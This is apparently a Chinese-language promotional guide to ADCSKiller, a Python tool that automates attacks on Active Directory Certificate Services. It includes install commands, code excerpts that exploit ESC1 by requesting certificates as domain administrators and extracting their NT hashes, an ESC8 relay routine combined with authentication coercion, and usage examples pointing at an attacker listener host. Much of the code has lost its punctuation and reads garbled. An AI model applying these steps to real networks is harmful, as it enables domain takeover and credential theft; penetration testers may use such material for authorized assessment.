ADCSKiller:终极ADCS漏洞自动化武器化工具完整指南 ADCSKiller终极ADCS漏洞自动化武器化工具完整指南【免费下载链接】ADCSKillerAn ADCS Exploitation Automation Tool Weaponizing Certipy and Coercer项目地址: https://gitcode.com/gh_mirrors/ad/ADCSKillerADCSKiller是一款基于Python的ADCS漏洞自动化武器化工具它整合了Certipy和Coercer的核心功能能够简化Active Directory证书服务ADCS基础设施的攻击流程。无论是漏洞发现还是利用执行这款工具都能为安全测试人员提供高效的自动化支持目前已成为ADCS渗透测试领域的重要工具。为什么选择ADCSKiller在企业网络安全评估中ADCS漏洞往往是攻击者获取域管理员权限的关键途径。传统测试方法需要手动操作多个工具步骤繁琐且容易出错。ADCSKiller的出现解决了这一痛点全流程自动化从证书模板枚举到漏洞利用无需人工干预多漏洞支持已集成ESC1、ESC8等常见ADCS漏洞检测与利用模块模块化设计基于Certipy和Coercer构建兼顾稳定性与扩展性详细输出报告自动生成JSON格式结果文件便于后续分析快速安装步骤使用前需确保系统已安装Python 3.6环境然后通过以下命令完成部署# 克隆项目仓库 git clone https://gitcode.com/gh_mirrors/ad/ADCSKiller cd ADCSKiller # 安装依赖组件 pip install -r requirements.txt # 安装Certipy git clone https://github.com/ly4k/Certipy cd Certipy python3 setup.py install # 安装Coercer git clone https://github.com/p0dalirius/Coercer cd Coercer pip install -r requirements.txt python3 setup.py install核心功能解析1. 漏洞自动发现ADCSKiller通过Certipy的枚举功能能够自动识别域内易受攻击的证书模板# 代码片段adcskiller.py 第98-125行 print([*] Trying to find vulnerable certificate templates) certipy_results subprocess.run([certipy, find, -u, f{self.__username}{self.__domain}, -p, self.__password, -dc-ip, self.__target, -vulnerable, -json, -output, self.__certipy_output_prefix], capture_outputTrue, textTrue).stdout工具会重点检测以下漏洞类型ESC1低权限用户可申请高权限证书ESC8证书服务中继攻击漏洞其他ADCS相关配置缺陷2. 域管理员权限获取针对发现的ESC1漏洞ADCSKiller会自动执行证书申请与哈希提取流程# 代码片段adcskiller.py 第298-313行 def exploit_esc1(self) - None: for admin in self.__domain_admins: for template in self.__vulnerable_certificate_templates[ESC1]: print(f[*] Exploiting ESC1 using the {admin} account) certipy_results subprocess.run([certipy, req, -u, f{self.__username}{self.__domain}, -p, self.__password, -target, self.__target, -ca, self.__ca, -template, template, -upn, admin, -out, f{template}_{admin}], capture_outputTrue, textTrue).stdout if Got certificate in certipy_results: print(f[] Got certificate for UPN {admin}) certipy_results subprocess.run([certipy, auth, -pfx, f{template}_{admin}.pfx, -domain, self.__domain, -username, admin, -dc-ip, self.__target], capture_outputTrue, textTrue).stdout if Got hash for in certipy_results: nthash re.search(rGot hash for .*: (\w:\w), certipy_results).group(1) print(f[] Received NT hash for {admin}: {nthash})3. 证书服务中继攻击对于ESC8漏洞工具采用多线程方式协调Certipy和Coercer进行攻击# 代码片段adcskiller.py 第314-343行 def exploit_esc8(self) - None: if self.__ca_dns not in self.__dc: print(f[*] Certificate authority {self.__ca_dns} is not a domain controller) certipy_thread CertipyRelay(1, CertipyRelayThread, self.__ca_dns) certipy_thread.start() time.sleep(5) coercer_thread Coercer(2, CoercerThread, self.__domain, self.__username, self.__password, self.__dc[0], self.__lhost) coercer_thread.start() coercer_thread.join() certipy_thread.join()基础使用指南命令格式ADCSKiller的基本调用格式如下python adcskiller.py -d 域名 -u 用户名 -p 密码 -dc-ip 域控IP -L 监听主机参数说明参数说明示例-d, --domain目标域名FQDN格式example.com-u, --username域用户名testuser-p, --password用户密码Pssw0rd!-dc-ip域控制器IP地址192.168.1.100-L, --lhost监听主机FQDNattacker.example.com典型使用场景场景1检测并利用ESC1漏洞python adcskiller.py -d example.com -u lowpriv -p LowPass123! -dc-ip 10.0.0.1 -L attacker.example.com执行后工具会枚举域内所有易受攻击的证书模板尝试为每个域管理员申请证书从证书中提取NTLM哈希场景2执行ESC8中继攻击当检测到证书服务未安装在域控制器上时工具会自动启动中继攻击流程获取高权限证书。高级配置与扩展输出文件解析工具会生成JSON格式的Certipy输出文件如20231115143022_Certipy.json包含以下关键信息证书颁发机构详情漏洞证书模板列表域管理员信息域控制器列表自定义漏洞模块ADCSKiller采用模块化设计可通过修改exploit_escX方法添加新的漏洞利用逻辑例如在Exploit类中添加def exploit_esc3(self) - None: # 自定义ESC3漏洞利用代码 pass然后在run_exploits方法中注册该模块certificate_exploits { ESC1: self.exploit_esc1, ESC3: self.exploit_esc3 # 添加新模块 }注意事项与法律声明授权测试使用ADCSKiller仅可在已获得明确授权的网络环境中进行法律合规未经授权的使用可能违反当地法律法规版本更新工具目前处于0.3版本后续将添加更多漏洞检测模块免责声明作者不对工具的非法使用承担任何责任参考资料项目许可证LICENSE核心代码实现adcskiller.pyCertipy项目https://github.com/ly4k/CertipyCoercer项目https://github.com/p0dalirius/Coercer通过ADCSKiller安全测试人员能够快速评估企业ADCS基础设施的安全状况及时发现并修复潜在漏洞有效防范证书服务相关的攻击风险。随着工具的不断更新它将成为ADCS安全评估领域不可或缺的自动化解决方案。【免费下载链接】ADCSKillerAn ADCS Exploitation Automation Tool Weaponizing Certipy and Coercer项目地址: https://gitcode.com/gh_mirrors/ad/ADCSKiller创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考